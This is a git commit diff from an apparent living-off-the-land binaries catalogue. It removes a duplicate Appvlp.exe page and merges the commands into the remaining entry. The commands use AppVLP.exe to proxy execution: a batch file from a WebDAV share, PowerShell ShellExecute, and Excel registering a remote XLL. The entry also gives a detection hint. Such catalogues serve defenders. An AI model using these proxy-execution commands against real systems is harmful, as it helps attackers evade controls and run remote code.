Removed Appvlp.exe dupe
parent
a479de9b36
commit
b0c8d3084a
|
@ -5,7 +5,6 @@ If you are missing from the acknowledgement, please let me know (I did not forge
|
||||||
|
|
||||||
# OS BINARIES
|
# OS BINARIES
|
||||||
[Atbroker.exe](OSBinaries/Atbroker.md)
|
[Atbroker.exe](OSBinaries/Atbroker.md)
|
||||||
[Appvlp.exe](OSBinaries/Appvlp.md)
|
|
||||||
[Bash.exe](OSBinaries/Bash.md)
|
[Bash.exe](OSBinaries/Bash.md)
|
||||||
[Bitsadmin.exe](OSBinaries/Bitsadmin.md)
|
[Bitsadmin.exe](OSBinaries/Bitsadmin.md)
|
||||||
[Certutil.exe](OSBinaries/Certutil.md)
|
[Certutil.exe](OSBinaries/Certutil.md)
|
||||||
|
|
|
@ -1,35 +0,0 @@
|
||||||
## Appvlp.exe
|
|
||||||
|
|
||||||
* Functions: Execute
|
|
||||||
|
|
||||||
```
|
|
||||||
AppVLP.exe \\webdav\calc.bat
|
|
||||||
|
|
||||||
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe', '', '', 'open', 1)"
|
|
||||||
|
|
||||||
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
|
|
||||||
```
|
|
||||||
|
|
||||||
Acknowledgements:
|
|
||||||
* Will - @moo_hax
|
|
||||||
|
|
||||||
Code sample:
|
|
||||||
*
|
|
||||||
|
|
||||||
Resources:
|
|
||||||
* https://github.com/MoooKitty/Code-Execution
|
|
||||||
* https://twitter.com/moo_hax/status/892388990686347264
|
|
||||||
|
|
||||||
Full path:
|
|
||||||
```
|
|
||||||
"C:\Program Files (x86)\Microsoft Office\root\client\AppVLP.exe"
|
|
||||||
```
|
|
||||||
|
|
||||||
Notes:
|
|
||||||
Used by App-V
|
|
||||||
|
|
||||||
|
|
||||||
Detection:
|
|
||||||
Appvlp.exe spawning other process
|
|
||||||
|
|
||||||
|
|
|
@ -3,18 +3,23 @@
|
||||||
* Functions: Execute
|
* Functions: Execute
|
||||||
|
|
||||||
```
|
```
|
||||||
AppVLP.exe calc.exe
|
|
||||||
AppVLP.exe \\webdav\calc.bat
|
AppVLP.exe \\webdav\calc.bat
|
||||||
|
|
||||||
|
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe', '', '', 'open', 1)"
|
||||||
|
|
||||||
|
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
|
||||||
```
|
```
|
||||||
|
|
||||||
Acknowledgements:
|
Acknowledgements:
|
||||||
* fab - @0rbz_
|
* fab - @0rbz_
|
||||||
|
* Will - @moo_hax
|
||||||
|
|
||||||
Code sample:
|
Code sample:
|
||||||
*
|
*
|
||||||
|
|
||||||
Resources:
|
Resources:
|
||||||
*
|
* https://github.com/MoooKitty/Code-Execution
|
||||||
|
* https://twitter.com/moo_hax/status/892388990686347264
|
||||||
|
|
||||||
Full path:
|
Full path:
|
||||||
```
|
```
|
||||||
|
@ -25,5 +30,8 @@ C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
|
||||||
Notes:
|
Notes:
|
||||||
Requires Office.
|
Requires Office.
|
||||||
|
|
||||||
|
Detection:
|
||||||
|
Appvlp.exe spawning other process
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue